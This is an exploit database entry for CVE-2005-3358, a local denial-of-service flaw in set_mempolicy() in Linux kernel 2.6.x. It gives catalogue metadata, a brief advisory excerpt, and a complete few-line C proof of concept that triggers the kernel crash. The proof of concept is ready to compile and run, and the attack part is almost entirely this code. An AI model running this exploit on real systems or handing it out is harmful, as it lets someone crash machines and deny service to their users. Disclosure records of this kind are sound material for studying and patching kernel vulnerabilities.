[] NeoSense

Linux Kernel 2.6.x - SET_MEMPOLICY Local Denial of Service

Author: Doug Chapman
type: dos
platform: linux
port: 
date_added: 2006-01-04 
date_updated: 2016-09-06 
verified: 1 
codes: CVE-2005-3358;OSVDB-22213 
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
source: https://www.securityfocus.com/bid/16135/info

Linux kernel is prone to a local denial-of-service vulnerability.

This issue affects the 'set_mempolicy()' function of the 'mm/mempolicy.c' file.

Successful exploitation causes the kernel to crash, leading to a denial-of-service condition.
*/


#include <asm/unistd.h>

main(){
        syscall(__NR_set_mempolicy,3,0,0);
        write(1,10,8192);
}